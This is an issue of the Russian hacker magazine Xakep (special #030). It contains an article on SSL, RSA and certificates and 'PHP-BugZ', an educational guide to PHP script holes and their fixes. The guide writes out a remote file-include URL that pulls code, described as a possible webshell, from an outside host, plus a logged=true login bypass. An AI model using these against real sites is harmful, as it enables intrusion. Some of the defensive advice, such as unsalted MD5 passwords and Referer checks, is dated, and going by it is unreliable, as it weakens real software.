Спецвыпуск Xakep, Содержание номера # 030

Cover 030 |
Статья | Стр.
Веб под замком |
технологии создания защищенных соединений | 014
Прикроем дыры тела |
PHP-BugZ в защите и нападении | 020
Megamagazine |
мутим элитный сетевой журнал | 024
Развлечение для 3133z |
ваЯем |^|РЕ0БqА3о84тель теXта | 028
WAP-engines |
Динамический WAP! | 032
Mail Sender |
Пошли по мылу | 034
POP дает! |
оперативная почтовая инфа | 038
Ломаем сервак с мобилы! |
транскодинг html2wml | 040
Своя военная база в сети |
хак-тулзы по первому требованию | 044
Ping Master |
трансляция cmd2html на ASP | 050
Flash ping |
ода интерфейсу | 054
Заливаем с успехом |
обзор лучших FTP-клиентов | 056
Ручной кодинг с удобствами |
Редакторы кода | 060
Notepad must die |
выбираем веб-редактор | 064
WAPерация |
”Комп или кипячение?” | 068
Radmin как веб-тулза |
используем Remote Administrator в мирных целях | 072
Софт через браузер |
полезные тулзы на каждый день | 074
Хацкерские тулзы |
сетевой арсенал взломщика | 078
Translit rulit |
онлайновые транслитераторы и почтовые декодеры | 082
Умные тулзы |
мозги в вебе | 084
Универсальная пага студента |
обзор необходимых тулзов в инете | 088
Прикольные и понтовые web-тулзы |
Чем развлечь себя и свою подружку в Сети | 090
WAP2SMS |
отправлялки SMS в сети | 094
WAP-Сервис |
маленький Интернет в твоем телефоне | 096
WEB-FAQing-TOOLZZZ | 100
Жидкие кристаллы | 106
Девайс | 110
Робохак | 112
Payalnik Доктора Добрянского | 114


Спецвыпуск Xakep, номер #030, стр. 030-014-1, ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

Kirion (kkr@mailru.com)

Спецвыпуск Xakep, номер #030, стр. 030-014-1

Ну что, создал уже свой мегамодный портал? Все просто ломится от скриптов, флэша и прочего PHP :). А после предыдущего номера ты наверняка решил создать левый Интернет-магазин :). Возможно, ты также решишь хранить на нем важную инфу или использовать его для секретной переписки. И тут во весь рост встает проблема безопасности...

ЛАЗУТЧИК СО СНИФФЕРОМ

Не секрет, что безопасности в протоколах TCP/IP нет. Что FTP-соединение, что HTTP-соединение может быть перехвачено, прочитано и искажено. Конечно, если это Джон Смит, заходящий по паролю на порносайт, то особой опасности перехват его пароля не несет (ну подумаешь, заплатит еще раз :)). А вот если это номер кредитки Джона Смита, по которой он регистрировался на этом сайте, - это уже интереснее. В моей локальной сети огромное количество умников, вечно сниффающих траффик - попрощайтесь с мылом, аськой, ником на ирке, сайтом. Еще не страшно? Конфиденциальность и секретность нужны всем, особенно в свете всеобщей борьбы с терроризмом и небывалой активизации спецслужб в плане контроля над личной жизнью граждан :). Над вопросом обеспечения конфиденциальности данных при передаче по сети крупные компании задумались достаточно давно. Технологии для шифрования были - надо было приспособить их для Интернета. Результатом работы стал официальный протокол Secure HTTP (RFC 2660), однако он не получил особой распространенности. А все потому, что компания Netscape разработала протокол SSL (Secure Socket Layers), который и получил наибольшую популярность и распространение (что неудивительно, если вспомнить, какой браузер был лидером долгие годы :)). Популярность SSL также определила его независимость от платформы и программной реализации. Протокол был разработан на принципах переносимости и не зависит от приложений, в составе которых он используется. Кроме того, хотя сам протокол и непрозрачен для приложений, поверх него могут накладываться и другие протоколы, например для увеличения степени защиты или для применения SSL в другой области. То есть если в проге нет поддержки SSL - ни фига у тебя работать не будет. А если поддержка есть - то ты можешь забыть, что SSL вообще существует, и использовать любые протоколы прикладного уровня (модель ISO/OSI, куда же мы без нее), например - проверять почту, лазить по FTP, смотреть чужие ресурсы через NetBios, ну и естественно - работать с HTTP. Во всех этих протоколах можно применять SSL для шифрования данных. Можно еще и дополнительную защиту прикрутить - протокол это позволяет. Если хочешь - можешь сравнить две реализации безопасного протокола: про Secure HTTP можно почитать на www.faqs.org/rfcs/rfc2660.html, а про SSL на home.netscape.com/eng/ssl3/draft302.txt. Знание технического английского приветствуется (можешь перевести и отослать мне - получишь приз :)).

БОЖЕСТВЕННАЯ АСИММЕТРИЯ

Криптография существует давно. За долгие годы было разработано множество систем шифрования, однако все они имели один существенный недостаток: они были симметричные. То есть для шифровки и расшифровки информации используется один и тот же ключ. При передаче данных мы сталкиваемся с двумя проблемами: во-первых, нужно передать ключ всем нужным участникам, а без надежного канала это небезопасно, а во-вторых, нам понадобится большое количество ключей для разных каналов (ты ведь не собираешься выделять один и тот же ключ для своей девушки Оли и своей другой девушки Маши :)). Проблемы были решены с появлением технологии асимметричного шифрования (появилась она всего-то лет 20 назад). Принцип асимметричного шифрования в том, что существует пара ключей: открытый и закрытый. Зашифровав информацию открытым ключом, ты можешь расшифровать ее только закрытым, причем по открытому ключу невозможно (или очень и очень сложно) узнать закрытый ключ.


Спецвыпуск Xakep, номер #030, стр. 030-014-2, ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

Kirion (kkr@mailru.com)

Спецвыпуск Xakep, номер #030, стр. 030-014-2

Одним из первых практически применимых алгоритмов стал алгоритм RSA (назван по инициалам создателей: R.Rivest, A.Shamir, L.Adleman). Математический принцип на самом деле несложен, но чтобы не загружать твои бедные компьютерные мозги еще и формулами :), попытаюсь объяснить "на пальцах". Имеются два числа: наш открытый и закрытый ключи. Они математически связаны с некоторым третьим числом, однако никак не связаны между собой. Открытый ключ доступен любому человеку, его можно разослать всем друзьям, повесить на паге и т.д. - с его помощью будет шифроваться инфа. Над информацией производится необратимая математическая операция с помощью открытого ключа и третьего числа (необратимая - это значит по открытому ключу, третьему числу и результату нельзя будет узнать исходные данные). Обратная же операция возможна только с использованием математической зависимости между закрытым ключом и третьим числом. Еще не уснул? Если все же горишь математическим любопытством - загляни на врезку, там все объяснено в формулах.

Но не все так гладко. Есть чисто техническая проблема: операция шифрования большого количества информации по асимметричным алгоритмам требует значительных вычислительных мощностей. Процесс расшифровки тоже занимает довольно много времени. В принципе, это не очень страшно, но мы-то серфим в Инете. Нам же не хочется сидеть на выделенке и иметь скорость, как на поганом момеде в районе с шаговой АТС :). Решение нашлось простое и элегантное: уже давно есть симметричные шифры, которые не представляют сложности для современных компов. Каждый раз при установлении соединения генерируется симметричный ключ (ключ сеанса), которым непосредственно шифруется инфа. Он, в свою очередь, шифруется открытым ключом и передается по каналу связи. Так еще и дополнительную защиту имеем в виде ключа сеанса, который каждый раз новый.

ПРИМЕРНЫЙ АЛГОРИТМ ШИФРОВАНИЯ RSA

Берем два простых числа p и q. Вычисляем их произведение n(=p*q). Выбираем число e (e<n), такое, что НОД(e,(p-1)(q-1))=1, то есть у числа e и числа (p-1)(q-1) не должно быть общих делителей (НОД - наибольший общий делитель). Решаем в целых числах уравнение e*d+(p-1)(q-1)*y=1. Здесь неизвестными являются переменные d и y. Два числа (e,n) - это открытый ключ, размещай, где хочешь. Число d - это и есть закрытый ключ, который позволит расшифровывать все, что зашифровано с помощью пары чисел (e,n). Смотри на скрин с формулами и читай дальше. При шифровании инфа разделяется на блоки, к каждому из которых применяется операция из пункта (1), где m - инфа, а с - шифрованная инфа. Операция возведения в степень по модулю простого числа является необратимой математической задачей. Обратная ей задача носит название "логарифмирование в конечном поле" и является значительно более сложной. Даже если некто знает числа e и n, то по c прочесть исходные сообщения m он не может никак, кроме как полным перебором m. Все бы было совсем плохо, если бы не теорема Эйлера, частный случай которой утверждает, что если число n представимо в виде двух простых чисел p и q, то для любого x имеет место равенство (1). Для дешифровки информации воспользуемся этой формулой. Возведем обе ее части в степень (-y). Получится равенство (2). Теперь умножим обе ее части на x: результат смотри под пунктом (3). А поскольку у нас есть равенство e*d+(p-1)(q-1)*y=1, то есть e*d=(-y)(p-1)(q-1)+1. Отсюда следует равенство (5). Применим это к нашему шифрованному сообщению: получим пункт (6). Все легко, правда :)?


Спецвыпуск Xakep, номер #030, стр. 030-014-3, ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

Kirion (kkr@mailru.com)

Спецвыпуск Xakep, номер #030, стр. 030-014-3

ЧЕЛ, ПОДПИШИ МНЕ СЕРТИФИКАТ!

Однако есть и еще одна проблема, и связана она уже не с техникой, а с человеческим фактором. Итак, тебе нужно связаться с важным человеком, ты находишь в сети его открытый ключ, шифруешь сообщение, посылаешь... Стоп! А откуда ты знаешь, что открытый ключ именно его? А вдруг это злобный недруг, который перехватил чужой мыльник и теперь постит везде свой открытый ключ :). Проблема однозначного определения соответствия человека (группы людей, организации, мыльника, сайта и т.д.) и его открытого ключа - это довольно серьезная проблема. Решилась она с введением сертификатов и сертификационных центров (Certificate Authority, CA).

Сертификат устанавливает связь между открытым ключом и реквизитами его владельца, как то: адресом электронной почты, названием организации (именем), географическим местоположением, а также некоторыми параметрами самого ключа (алгоритм шифрования, ограничения, тип ключа) и сертификата. Каждый сертификат подписывается уполномоченной организацией - CA. Существует иерархия CA - наверху находятся так называемые корневые центры сертификации и далее по ступенькам к личным сертификатам. Корневой центр подписывает свой сертификат сам, а все последующие - у предыдущих центров. Сертификаты выдаются на определенное время (как правило, на год). Кроме того, сертификационные центры должны вести список отозванных сертификатов, недействительных сертификатов, сертификатов, лишившихся доверия. Естественно, они делают это не бесплатно. Так сертификат на год у РосБизнесКонсалтинга (как филиала Thawte) стоит около 200 баков. А вот сертификат у VeriSign (пожалуй, самая известная компания в данном секторе) стоит под 1000. За что такие деньги? А за доверие! Представь, что ты задался целью найти телефон Дани Шеповалова. Ты можешь пойти на рынок и купить телефонную базу России, а можешь довериться соседке тете Клаве, которая обязательно сообщит его тебе вместе с кучей сплетен и свежих новостей :). База стоит денег, а тетя Клава даст тебе инфу бесплатно, только вот если ты дозвонишься не Дане, а в приемную ФСБ - я не виноват :). Так какому сертификату ты будешь больше доверять: подписанному уважаемой мировой организацией или безымянным админом в соседней конторе?


Спецвыпуск Xakep, номер #030, стр. 030-014-4, ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

Kirion (kkr@mailru.com)

Спецвыпуск Xakep, номер #030, стр. 030-014-4

Сертификаты можно применять не только для защиты сайта, но и для защиты мыла (с помощью надстройки secure MIME), для защиты исходников (если ты программер) и, что важно, для цифровой подписи. Цифровая подпись - вещь нужная: при передаче информации по сети получатель (да и сам отправитель) должен быть уверен, что чел, от которого пришла инфа, - тот, за кого он себя выдает, и что информация не была искажена (умышленно или случайно). Первая проблема решается асимметричным шифрованием наоборот, то есть сообщение шифруется закрытым ключом. Соответственно, расшифровать его можно только открытым ключом, а он прописан в сертификате вместе с реквизитами владельца.

Вторая же проблема решается тем, что шифруется не само сообщение (еще не забыл, что это трудоемкий процесс?), а хэш-функция от этого сообщения. Что такое хэш-функция? Это функция, обладающая бесконечной областью определения, но конечной областью значения и одной интересной особенностью: даже при небольшом изменении входного значения значение функции меняется радикально. Основное назначение хэш-функций в криптографии - это генерация ключей на основе коротких и запоминаемых паролей (слабо запомнить 16 шестнадцатеричных разрядов?). Применительно к цифровой подписи это означает, что если содержание сообщения изменится на пару байт, то изменится и хэш-функция от текста, причем кардинально. Сообщение уже невозможно будет расшифровать, а значит - невозможно подделать. Убедился в том, что цифровая подпись рульная вещь? Только не спеши бежать ее получать. Благодаря нашей Государственной Думе использование цифровой подписи разрешается только государственным органам и корпорациям, да и то с разрешения ФАПСИ (ну, теперь, вероятно, ФСБ). Причем выдать тебе ее должен центр, сертифицированный тоже ФАПСИ. А алгоритмы шифрования несовместимы с европейскими. И почему у нас все через задницу :(?

SSL В ДЕЙСТВИИ

Вернемся к самому SSL. Что же происходит, когда ты видишь символ замка в углу своего ослика? Ну, во-первых, ты коннектишься к 443 порту (стандартно) сервака, а URL принимает вид https://. Если сертификат сервера не относится к числу доверенных (а таких великое множество - доверенными являются только сертификаты от известных CA; загляни в "свойства обозревателя > содержание > сертификаты"), то браузер выдаст предупреждение и предложит установить сертификат в хранилище, чтобы в дальнейшем не беспокоить людей по мелочам. Тут, кстати, стоит отметить, что 128-разрядный ключ поддерживается только в IE для США и Канады, так как по законам США запрещен экспорт сложных криптосистем. Остальным же придется довольствоваться 40-разрядными ключами, которые вполне реально расшифровать, причем не прибегая к сильно дорогостоящей технике. Привет всем пользователям лицензионных русских виндов :). После установки соединения происходит так называемый SSL Handshaking: сервер и браузер посылают друг другу приветствия, содержащие в себе необходимую информацию для установления безопасного соединения - вроде версии протокола, идентификатора сессии, способа шифрования, метода компрессии и тому подобных вещей. Далее генерируется ключ сессии, шифруется открытым ключом и отсылается серверу. Все, безопасное соединение установлено. Кроме того, сервер может потребовать от клиента его собственный сертификат, такая модель безопасности тоже используется, но в основном в корпоративных сетях: делать на всех пользователей сертификаты - это ни времени, ни денег не напасешься.


Спецвыпуск Xakep, номер #030, стр. 030-014-5, ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

Kirion (kkr@mailru.com)

Спецвыпуск Xakep, номер #030, стр. 030-014-5

СЕРТИФИКАЦИЯ И УСТАНОВКА

Ну а теперь, когда ты окончательно созрел к установке SSL на свой проект, потрем о процедуре получения сертификата. Будешь ли ты подписывать его сам или решишь раскошелиться на подпись в CA - это неважно. Сгенерировать собственный сертификат тебе придется либо с помощью OpenSSL, либо с помощью Microsoft Cerificate Services. Если ты используешь для сайта ISS или тебе нужен сертификат для работы в корпоративной сети на основе Win2k с Active Directory, то лучше выбрать продукт от мелкомягких. Если же ты будешь пользоваться Апачем (все равно, под какую платформу) - то выбирай OpenSSL. MCS 2.0 входит в поставку Win2k advanced server. Вариантов установки много. Нумбер ван: лезем в "установка и удаление программ > компоненты Windows". Там выбираем "Служба сертификации". Если в сети имеется Active directory, то будет предложено создать сертификат для работы в корпоративной сети (подозреваю, что тебе это на фиг не нужно :)). В любом случае нас будут интересовать только два последних пункта: создание корневого сертификата и создание подчиненного сертификата. Если решил подписывать все сам - выбирай первый пункт. Далее внимательно заполняй все поля формы и сохрани сертификат в файл - еще пригодится. После всей процедуры на компе стартует MSC, и ты сможешь сам подписывать сертификаты другим людям. Можешь даже брать с них деньги :). А можешь легко прикрутить его к работающему на том же компе IIS. Способ нумбер ту: если в сети уже есть работающая служба MSC, то ты можешь обратиться к ней через оснастку "Сертификаты" (пуск > выполнить > certmgr.msc) или с помощью браузера, введя что-то вроде http://имя сервера/CertSrv. Заполняешь анкету, сохраняешь сертификат.

С мелкомягкими закончили, перейдем к OpenSSL. Эту прогу можно скачать в исходниках с www.openssl.org. Естественно, она предназначена для юниха, однако на сайте есть инструкции, что надо поменять в исходниках, чтобы они откомпилились под виндами. OpenSSL - прога для командной строки. Поддерживает SSL 3.0 и кучу алгоритмов шифрования. Фактически это стандарт. Если ты собираешься использовать OpenSSL вместе с Апачем на своем компе, то придется зайти на www.modssl.org. ModSSL - это интерфейс OpenSSL для Апача. Если хоть раз прикручивал модули (тот же modperl, например) - разберешься, в крайнем случае заглянешь в документацию. Только сначала нужно собрать OpenSSL. Если тебе совсем уж в лом изучать документацию, можно скачать с сайта разработчика перловый скрипт (CA.pl), облегчающий создание и подпись сертификатов. Но лучше все же почитать про все возможности командной строки, дабы правильно выбрать формат ключа, разрядность и т.д. В общем случае нам надо сгенерировать ключ, потом создать запрос на получение сертификата, а потом его подписать. Можно это сделать так: "openssl genrsa -out key.pem 1024" - сгенерировали 1024-разрядный ключ по алгоритму RSA в формате pem. "openssl req -new -key key.pem -out req.pem" - создали запрос в формате pem (тут придется отвечать на вопросы про реквизиты; не стоит тупо шутить - это потом увидят все люди, устанавливающие твой сертификат). "openssl x509 -days 365 -req -in req.pem -signkey key.pem -out cert.pem" - подписали свой сертификат на год. Можно было все сделать и в одной команде: "openssl req -x509 -days 365 -newkey rsa:1024 -keyout key.pem -out req.pem". Возможностей очень много: тут и куча видов шифрования, и перевод в другие форматы и алгоритмы. Хотя, скорее всего, тебе понадобятся только генерация да подпись.


Спецвыпуск Xakep, номер #030, стр. 030-014-6, ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

ВЕБ ПОД ЗАМКОМ! - Технологии для создания защищенных соединений

Kirion (kkr@mailru.com)

Спецвыпуск Xakep, номер #030, стр. 030-014-6

Сертификат мы создали, но что нам с ним делать на хостинге? Не волнуйся, почти у всех платных хостингов есть поддержка SSL. Если найдешь подобную услугу на бесплатных хостингах, напиши - буду благодарен. Где-то SSL включен в стоимость, где-то нужно платить отдельно. Более того, некоторые хостинги предлагают услуги CA по льготным ценам - может, и решишься отдать свои кровные 100 баксов :). Загрузка собственного сертификата и назначение защищенных страниц происходит, как правило, из стандартного админского интерфейса. Кроме того, я бы посоветовал использовать сертификат при личной переписке - The bat прекрасно умеет использовать не только PGP, но и Secure MIME (то бишь сертификаты). Тем более, что это удобнее (как мне кажется).

ТОТАЛЬНАЯ БЕЗОПАСНОСТЬ

В наше безумное время проблемы конфиденциальности и безопасности стоят так остро, как никогда. Некоторые мои знакомые, еще пару лет назад не воспринимавшие серьезно использование средств шифрования в домашних условиях, теперь полностью перешли на шифрованную переписку. Рано или поздно нам всем придется делать себе электронную подпись. "Каждая кухарка должна уметь пользоваться PGP". Поддержка SSL есть почти на всех почтовых серверах, на всех хостингах. И это только начало. Уже довольно давно продвигаются протоколы IPsec, PPTP, L2TP, обеспечивающие шифрование на сетевом и канальном уровнях (модель OSI помнишь?), которые прозрачны для приложений. То есть написание сетевых программ, использующих безопасные соединения, станет намного проще. Мы движемся в новый мир, мир тотальной безопасности. Только вот почему мне от этого становится не по себе?


Спецвыпуск Xakep, номер #030, стр. 030-020-1, PHP-BugZ

PHP-BugZ

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-020-1

(forother@fromru.com)

Тема дырявых скриптов всегда считалась очень актуальной и сколько бы раз нам не говорила мама, что все параметры, переданные пользователем, мы должны проверять, мы этого не делаем и отмазываемся так: «С ростом проффесианализма, забывается простое». Но бывает и такое, что чел просто не знал. А иногда бывает такое, что кодер получивший задание, просто слил готовый бесплатный (а так же дырявый в придачу), получил гонорар и пошел пить пиво. Так вот, в этой статье ты возможно увидишь много знакомого (не знаю чела, который бы не знал include-bug), но и новое ты тут точно найдешь!

[Include-Bug]

Вот тока не надо матюгаться, сам знаю, единственно что могу сказать, так это: «Повторения совсем не мать учения, и даже не сестра» (память-то все-таки надо иметь, блин), так что если считаешь что тут ты ничего нового не прочтешь, то переходи к следующей баге. (вообще мы будем идти от известного до малоизвестного). Так вот, допустим у нас есть такой script:

<?

...

include($file);

...

?>

Если переменная $file не была определенна в начале, то можно проинклюдить свой пхп-код: www.server.com/script.php?file=http://drygoi.servak.com/destrcode.txt

А в destrcode.txt написать свой деструктивный код:

<?

/* что-то очень плохое и не хорошее, например, вебшелл*/

?>

На расширение .txt, не смотри, все равно код в этом файле между <? ?> исполнится. Некоторые используют POST, но это не оправдывает, так как можно сохранить форму отправки у себя на винте, и даже проверка на HTTP_REFERER не поможет, наиболее лучший выход – это ставить ./ (показывает, что файл находится в текущей дире) перед файлом, который надо инклюднуть. Кстати попробуй набрать а яндексе эту строку - “mysql too many connection inc”.

Еще пару слов о неинициализированных переменных, допусти есть такой код:

<?

/*Проверка пароля и логина, введенного пользователем, если пароль и логин верны, то:*/

$logged=true;

...

if($logged){

echo “Инфа для зареганных”;

?>

Так вот, если дописать параметр logged=true, то ты получишь доступ к закрытой зоне. Ой че будет-то=). Выход: Отключить создание переменных и обращаться к данным, поступающим от пользователя, через массивы HTTP_GET/POST/COOKIE_VARS или же инициализировать переменные в начале. Первый способ несомненно лучше, имхо.

Советую просматривать сорцы паги на наличие hidden-полей, при исследование.

[Пользовательские данные]

То, что непроверенные получаемые данные от пользователя опасны для сервака и ежу уже понятно, сейчас я просто расскажу как защитится, расклассифицировав:

1. Системный вызов – обрабатывай данные, введенные пользователем, функциями escapeShellCmd() и escapeshellarg().

2. Вывод данных (не забываем, что переменные окружения тоже создаются клиентом и могут быть опасны), это касается форумов, чатов, анкетирования и т.д. –

2.1 Нужно данные обработать функциями stipslashes(), htmlspecialchars(),strip_tags() (использовать по желанию). А лучше всего будет написать функцию:

function cleanstr($string) {

return htmlspecialchars(stripslashes($string));

}

htmlspecialchars вырезает все тэги, но порой необходимо, чтобы пользователь смог вставить картинку, для этого лучше создать свои тег. Правда будь внимателен, что ты будешь делать, если юзер вместо картинки решит вставить скриптик?


Спецвыпуск Xakep, номер #030, стр. 030-020-2, PHP-BugZ

PHP-BugZ

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-020-2

Вот кстати посмотри рубрику Типс нашего сайта, там был хороший пример, как в поля e-mail и homepage можно было написать кое-что интересное=). Догадайся какие символы надо фильтровать?=)

Если же ты любитель регулярных выражение, то держи парочку примеров (а лучше сам разберись, тогда и научишься вырезать из строки то, что тебе надо, это не главная тема статьи).

Запретим пользователю использовать в своем нике любые символы, кроме букв русского и латинского алфавита, знака "_" (подчерк), пробела и цифр:

if (preg_match("/[^(\w)|(\x7F-\xFF)|(\s)]/",$username)) {

echo "Я те хакну!";

exit;

}

Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" и ".", но уберем русские буквы и пробел:

if (preg_match("/[^(\w)|(\@)|(\.)]/",$mail)) {

echo "Я те хакну!";

exit;

}

2.2. Ограничить поля ввода имени, ника и т.д. Добавив параметр maxlength в html-тэг, вот пример:

<input type=text name=nick maxlength=10>

А если злобный хацкер решил сохранить твою форму у себя на винте, и уже на винте убрать maxlength=10, то поставь в начала страницы проверку на REFERER:

<?

$referer=getenv("HTTP_REFERER");

if (!ereg("^http://www.страница_с_которой_нужно_было_зайти_сюды.com")) {

echo "Я те хакну!"; # или можешь написать - “Header("Location: index.php");” – эта строка отсылает юзера на главную пагу.

exit;

}

?>

Теперь если он попытается послать данные с паги, находящийся на своем винте, то мы его красиво посылаем. Вообще такие проверки рисую на каждой страницы, пусть маленькая, но защита.

80% хацкеров остановятся, но другие-то знают, что и проверка на реферер не трабла, ибо сам реферер формируется браузером, т.е. на стороне клиента.

Поэтому, получи данные от пользователя, мы всетаки отрежем все, что стоит после 10-ого символ переменной:

$username=substr($nick,0,10);

Еще в некоторых готовых скриптах вижу такое, что например в index.php пишут:

$PHP_SELF = "main.php";

Далее инклюдят, к примеру, engine.php и в engine.php идет проверка на $PHP_SELF:

if (eregi("engine.php",$PHP_SELF)) {

Header("Location: index.php");

die();

}

Т.е. мы в index.php устанавливаем $PHP_SELF, как main.php, и наш скрипт engine.php должен быть обязательно проинклюден. Если же пользователь наберет в URL engine.php то его пошлю на index.php, так как $PHP_SELF (это переменная окружения) равняется engine.php, а если этот скрипт будет проинклюден в главном файле, то никто никого не пошлет, т.к. $PHP_SELF будет равна main.php=).

3. Данные так же могут быть использованы в других сферах, например в SQL-запросе, но для всего это есть общее правило: фильтровать символ конца строки.

Для фильтрации данных, которые будут участвовать в SQL-запросе можешь воспользоваться функцией mysql_escape_string. Почитай статьи по SQL-Injection для большего ознакомления, их сейчас очень много!

Примечание: когда тип входящего параметра известен, то можно проверить еще и на тип переменной.


Спецвыпуск Xakep, номер #030, стр. 030-020-3, PHP-BugZ

PHP-BugZ

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-020-3

[Аутентификация]

На всех сайтах есть закрытая территория, доступ к которой должны иметь только “свой”, что за сайт без админ зоны??? Но тут встает вопрос, как защитится от посторонних? Есть очень много вариантов защиты, например, можно защититься стандартными средствами Apache, но тут есть два минуса – нет защиты от перебора пароля и такая защита будет напрягать сервак и самих посетителей. Другой вид защиты это передача логина и пасса через форму и дальнейшее его хранение в кукисах, такой метод сейчас и опишу. На самом деле есть ещё сессионный метод (наиболее популярный), и лучше использовать его, но цель данной статьи не описание сессии (во врезке есть линк), а продемонстрировать как надо писать скрипты авторизации, кстати все нижеизложенные правила подойдут и для сессионного метода.

Допустим, из формы мы получили $login и $pass. Так как $login будет употреблятся в SQL-запросе, то надо профильтровать переменную:

$login = mysql_escape_string($login);

Потом делаем запрос к MySQL, скажу сразу что шифровать пароли лучше MD5, поэтому при регистрации нового юзера в таблицу вносится не чистый пароль, а зашифрованный функцией md5(). Поэтому и тот, который мы будет сравнивать с тем, который находится в MySQL, мы тоже предварительно должны зашифровать функцией md5():

$login_id = mysql_query("SELECT id FROM user WHERE login='$login' AND pass='". md5($pass). "'");

Из запроса получаем ИД юзера с логином $login и пассом $pass. Но это далеко не все, мы должны проверить (вдруг хацкер оставит пустым поле введения пароля) кол-во записей в результате запроса (результат запроса - $login_id), если функция возвращает 1, то все Ок, пропускаем юзера к нам, если нет – красиво посылаем=):

if (mysql_num_rows($login_id) !=1) {

echo “Тут можешь написать свою речь к сообществу хакеров=)”

}

else {

#Тут делаем все что и хотим, пускаем в запретную зону, прежде сгенерировав сешен ид или записав в кукисы пасс.

}

Вот пожалуй общая схема авторизации, конечно не мешало бы проверять на ошибки mysql, но тема статьи – Security=). Можно еще добавить - когда проверяешь пароль в кукисах, не забывай, что пользователь кукисы может заменить и их надо также проверять по выше описанной схеме.

[Рекомендации по настройке php]

1. Запретить создание глобальных переменных из пользовательского ввода:

register_globals off

2. Включить режим safe_mode:

safe_mode on (в режиме safe_mode PHP проверяет владельца запущенного скрипта, и если скрипт пытается открыть какой-либо файл - делает это с правами этого владельца).

3. Ограничения на каталоги

doc_root = /home/USER/htdocs

Если PHP сконфигурирован для работы в safe mode, то файлы, лежащие вне этого каталога, не будут обрабатываться.

open_basedir = /home/USER/htdocs

Ограничивает область файлов, которые может открыть PHP только в заданном дереве каталогов. Когда скрипт пытается открыть файл (например, fopen) проверяется его расположение. Если файл находиться за указанным деревом, PHP откажет в его открытии.


Спецвыпуск Xakep, номер #030, стр. 030-020-4, PHP-BugZ

PHP-BugZ

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-020-4

safe_mode_exec_dir = /home/USER/bin

Если PHP используется в safe mode, функции запуска системных процессов (system и другие) не смогут запустить программы, которые находятся не в этом каталоге.

4. Запретить открытие удаленных файлов, если они не нужны:

allow_url_fopen off

5. Отключение функции:

disable_functions = phpinfo

6. Скрытие пхп:

expose_php off

Эта директива сообщает, может ли PHP оповещать пользователей о своем существовании на данном сервере, например, добавляя HTTP заголовок.

7. Выключить вывод сообщений об ошибках в браузер, и включить регистрирование ошибок в лог-файле:

display_errors off

log_errors on

8. Ограничения на закачку файлов

upload_tmp_dir = /home/USER/tmp

Указанный каталог используется для временного сохранения файлов, загружаемых пользователями на сервер. Каталог должен быть доступен для записи пользователю, от имени которого запущен Apache.

upload_max_filesize = 2M

Определяет, максимальный размер файла, который может быть загружен пользователем на сервер.

9. Ограничения на время работы

max_execution_time = 30

Устанавливает максимальное время в секундах, в течение которого разрешено выполнение скрипта пока он будет прерван интерпретатором PHP. Это предохраняет сервер от длительного выполнения ошибочных сриптов.

10. Ставить слеш перед спецсимволами

magic_quotes_runtime on

Если опция включена, то большинство функций возвращающих данные из любых внешних источников (включая базы данных и текстовые файлы) будут предварять все специальные символы обратным слешем.

11. Скрытие Php

Возможно, ты захочешь просто спрятать свой php-скрипт, для этого кроме уже рекомендованной опции expose_php off можно ассоциировать интерпретатор php с необычным типом файлов.

Например, подредактировав httpd.conf, можно маскировать php-скрипт под другой скрипт:

AddType application/x-httpd-php .asp .py .pl

Использовать несуществующие типы:

AddType application/x-httpd-php .rus .cccp .msdos .xakep

Замаскировать под простой html:

AddType application/x-httpd-php .htm .html

Кстати многие, увидев динамические проекты, удивляются – почему на html?

[Finish]

В рамках одной статьи я постарался выдать как можно больше инфы по безопасной работе с PHP. Вывод можно сделать только один - хорошо настроив апач и пхп, уже можно отвертеться от некоторых бажных скриптов. Так что уговаривай админа изменить конфигурацию=). Удачи в написании скриптов!!!

Описание Security функции

escapeShellCmd($str) и escapeshellarg($str) – обе очищают строки от небезопасных символом, очищают строки $str, которые потом должны быть употреблены в функциях типа system(). Не знаю чем они отличаются, но в PHP-документации советуют использовать вторую.

strip_tags($str, [$allowable_tags]) – функция удаляет из строки $str все тэги и возвращает результат, в параметре $allowable_tags можно передать тэги, которые не следует удалять.

stripslashes($str) – заменяет в строке $str некоторые предваренные слэшем символы (а это – “,’,\) на их одинаковые эквиваленты. Употреблять можно в связке с htmlspecialchars().

htmlspecialchars($str) – заменяет в строке $str некоторые символы (амперсант, кавычки, знаки “больше” и “меньше” и т.д.) на их HTML-эквиваленты, так, чтобы они выглядели на страницы “самими собой”.


Спецвыпуск Xakep, номер #030, стр. 030-020-5, PHP-BugZ

PHP-BugZ

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-020-5

mysql_escape_string($str) – удаляет из $str все небезопасные для MySQL-запроса символы.

str_replace($from,$to,$str) – заменяет в строке $str все схождения подстроки $from (с учетом регистра) на $to и возвращает результат.

md5($string) – Функция возвращает $string в зашифрованном виде. Используемый алгоритм MD5. MD5 - алгоритм резюмирования сообщений. Становится все более популярнее, чем DES (в PHP функция – password()).

mysql_num_rows($result) – возвращает число записей в результате MySQL-запроса.


Спецвыпуск Xakep, номер #030, стр. 030-024-1, MEGAMAGAZINE - мутим элитный сетевой журнал

MEGAMAGAZINE - мутим элитный сетевой журнал

Леха ББ & Космос

Спецвыпуск Xakep, номер #030, стр. 030-024-1

(alex-sun@mtu.ru) & (nkvd@zapisi.ru).

В прошлых выпусках мы писали о порталах и етц системах. Но акцентов особых не делали - все было абстрактно, и ты мутил, что хотел. Сегодня в нашей магазинопередаче мы расскажем, как объединить авторов и прочих креативщиков для создания журнала. Возможно и такое, что вся работа будет по локалке. Поскольку готовые системы для этого дела стоят грин этак 2999, мы будем лепить из готовых блоков, дописывая и создавая то, чего нам не хватает.

Концепт

